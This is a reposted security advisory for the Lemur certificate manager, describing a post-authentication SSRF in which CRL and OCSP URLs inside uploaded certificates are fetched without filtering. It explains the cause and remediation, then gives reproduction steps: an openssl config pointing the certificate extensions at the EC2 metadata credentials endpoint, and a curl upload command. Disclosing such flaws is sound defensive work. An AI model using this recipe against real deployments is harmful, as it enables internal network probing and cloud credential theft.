Lemur: Crafted CRL/OCSP URLs in uploaded certificates lead to post-authentication SSRF
Summary
When verifying an uploaded certificate, lemur/certificates/verify.py extracts the CRL Distribution Point URL and the OCSP responder URL directly from the certificate's extensions and issues outbound requests to those URLs without scheme restriction or destination allow-listing. An authenticated user holding the operator role (required by StrictRolePermission on POST /certificates/upload) can craft a certificate whose extensions point at internal services - instance metadata endpoints, internal Kubernetes API servers, RFC1918 hosts, link-local addresses - and cause the Lemur host to issue requests against those destinations during verification.
Root Cause
lemur/certificates/verify.py, crl_verify:
point = p.full_name[0].value # URL from CDP extension of uploaded cert
...
response = requests.get(point, timeout=(3.05, 6)) # no allow-list, no destination filter
lemur/certificates/verify.py, ocsp_verify:
command = ["openssl", "x509", "-noout", "-ocsp_uri", "-in", cert_path]
p1 = subprocess.Popen(command, stdout=subprocess.PIPE, ...)
url, _ = p1.communicate()
p2 = subprocess.Popen(
["openssl", "ocsp", "-issuer", issuer_chain_path, "-cert", cert_path,
"-url", url.strip()], # attacker-controlled URL
...
)
In both code paths the URL flows from attacker-controlled certificate-extension content to a network sink with no validation against an allow-list of hostnames, no scheme restriction beyond rejecting LDAP via InvalidSchema, and no filtering of RFC1918 / link-local (169.254/16) / loopback / IPv6 ULA destinations.
Affected Endpoints
| Method | Path | Source |
|---|---|---|
| POST | /api/1/certificates/upload | verify_string → crl_verify / ocsp_verify |
The bug additionally surfaces anywhere verify_string is invoked on attacker-influenced certificate content (sync paths, source plugin re-validation, etc.). The upload endpoint is the most direct trigger.
Impact
An operator-role attacker can:
- Probe the Lemur host's internal network through outbound CRL/OCSP fetches and infer topology from response timings and error messages.
- On EC2 instances without IMDSv2 enforcement, cause requests to
http://169.254.169.254/and influence downstream behavior of components that parse the response. - Pin attacker-controlled CRLs into the unbounded module-level
crl_cachedict (see Advisory 4c) for permanent cache poisoning - once cached, a poisoned CRL is served to every subsequent verification for the same URL. The operator-role precondition reduces severity from what an unauthenticated SSRF would warrant, but operators are still meaningfully less trusted than the host's network position. PKI workflows also routinely process third-party certificates whose extensions are not directly controlled by the operator, broadening the trigger surface beyond purely-malicious operators.
Remediation
Filter the URL before it reaches the network sink. Either:
- Maintain an explicit allow-list of CRL/OCSP hostnames in configuration (e.g.,
LEMUR_TRUSTED_CRL_HOSTSandLEMUR_TRUSTED_OCSP_HOSTS) and reject anything outside the list, or - Use an SSRF-safe HTTP client wrapper that resolves the destination, rejects RFC1918 / link-local / loopback / IPv6 ULA addresses before connecting, and pins the resolved IP to defeat DNS rebinding.
For OCSP, route the parsed URL through the same wrapper before passing it as
-urltoopenssl ocsp.
Additionally, bound crl_cache (see Advisory 4c) to prevent the SSRF vector from amplifying into a persistent cache-poisoning condition.
Steps to Reproduce
-
Set up Lemur on an EC2 instance with IMDSv1 enabled (or any host with reachable RFC1918 services). Create an admin user and an operator-role user
eve. -
Generate a self-signed certificate whose extensions point at internal services:
bashcat > openssl.cnf <<EOF [req] distinguished_name = req_distinguished_name req_extensions = v3_ca prompt = no [req_distinguished_name] CN = ssrf-poc.example [v3_ca] crlDistributionPoints = URI:http://169.254.169.254/latest/meta-data/iam/security-credentials/ authorityInfoAccess = OCSP;URI:http://169.254.169.254/latest/meta-data/ EOF openssl req -x509 -newkey rsa:2048 -keyout ssrf.key -out ssrf.crt \ -days 365 -nodes -config openssl.cnf -extensions v3_ca -
On the Lemur host, start a packet capture filter for the target address before submitting the cert:
bashsudo tcpdump -nni any host 169.254.169.254 -
As
eve, upload the malicious certificate:bashBODY=$(cat ssrf.crt | sed ':a;N;$!ba;s/\n/\\n/g') curl -X POST https://lemur.local/api/1/certificates/upload \ -H "Authorization: Bearer <eve_jwt>" \ -H "Content-Type: application/json" \ -d "{ \"name\": \"ssrf-poc\", \"body\": \"$BODY\", \"chain\": \"\", \"private_key\": \"\", \"owner\": \"eve@example.com\" }" -
Observe the outbound request to
169.254.169.254in the tcpdump output. The request originates from the Lemur process duringverify_stringprocessing of the uploaded cert. The attacker has successfully induced a server-side request to an internal address of their choosing.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | lemur | < 1.9.2 | 1.9.2 |
Odnośniki
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L- Słabość (CWE)
CWE-918- Platforma
- Python (PyPI)
- Paczka
lemur- Ujawniono
- 25.06.2026
- Aktualizacja
- 11.10.2026 14:19
Źródła i licencje
OSV / GitHub Advisory Database - PYSEC-2026-2586 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-54vg-pfh7-jq95 - CC BY 4.0
Historia podatności: lemur
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 18
- Pierwsza → ostatnia
- 08.2017 08.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 1
- Wysoka 9
- Średnia 8
Ujawnienia w latach
- 2017: 1
- 2018: 0
- 2019: 0
- 2020: 0
- 2021: 0
- 2022: 0
- 2023: 1
- 2024: 0
- 2025: 0
- 2026: 16
-
Lemur: Crafted CRL/OCSP URLs in uploaded certificates lead to post-authentication SSRF ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.